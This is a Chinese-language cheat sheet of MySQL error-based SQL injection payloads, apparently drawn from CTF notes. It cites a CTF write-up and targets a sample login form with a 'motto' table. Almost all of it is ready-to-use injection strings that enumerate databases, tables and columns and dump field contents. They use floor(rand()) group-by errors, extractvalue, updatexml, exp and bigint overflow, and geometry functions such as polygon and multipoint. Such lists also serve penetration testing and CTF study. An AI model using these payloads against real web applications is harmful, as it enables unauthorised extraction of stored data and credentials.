

参考:

<http://hebin.me/2017/12/04/%E8%A5%BF%E6%99%AEctf-%E5%8A%A0%E4%BA%86%E6%96%99%E7%9A%84%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/>

获取数据库个数

<http://www.cnblogs.com/Dleo/p/5493782.html>

获得数据库数量:

```
and (select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e,count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

一个个获取数据库的名称 limit 0,1

```
and (select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e,table_schema,0x7e7e3a7e7e) from information_schema.tables limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

获取表的数量

```
and (select 1 from(select count(*),concat((select (select (select count(table_name)from information_schema.tables where table_schema=)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

挨个取得表名

```
and (select 1 from(select count(*),concat((select (select (select concat(table_name,0x20) from information_schema.tables where table_schema="security" limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

column 获得列名和表名 security.users

```
and (select 1 from(select count(*),concat((select (select (select concat(column_name,0x20) from information_schema.columns where table_name=0x6d6f74746f limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

先爆个数据库助助兴，拿到当前数据库 mydbs

```
username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

接着开始跑表，改变 limit 后面的数字就能遍历所有表: log, motto, user

```
username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

爆 motto 表中的列: id, username, motto

```
username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct
```

```
concat(0x7e,column_name,0x7e) FROM information_schema.columns where  
table_name=0x6d6f74746f LIMIT 0,1)) from information_schema.tables limit  
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```

爆字段:

常规语句: and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group
by x)a)%23

ExtractValue

```
username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct  
concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)))%23
```

UpdateXml

```
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM  
motto limit 0,1),0x7e),1)%23
```

exp 溢出注入

```
select exp(~(select*from(select user())x))  
select exp(~(select*from(select column_name from information_schema.columns where  
table_name='users' limit 0,1)x))
```

bigint 溢出注入

```
select !(select*from(select column_name from information_schema.columns where  
table_name='users' limit 0,1)x)-~0;
```

extractvalue()

```
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))  
procedure analyse(extractvalue(rand(),concat(0x3a,(select distinct  
concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database()  
limit 0,1))),1)%23
```

updatexml()

```
id = 1 and (updatexml(0x3a,concat(1,(select user()))),1)  
select schema_name from information_schema.schemata  
select table_name from information_schema.tables where table_schema=' xxxxx'  
Select column_name from information_schema.columns where table_name=' xxxxx ' and  
table_schema="" schema_name=""  
Select *** from ****
```

GeometryCollection()

```
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
```

polygon()

```
id =1 AND polygon((select * from(select * from(select user())a)b))
```

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id=1 AND multipolygon((select * from(select * from(select user())a)b))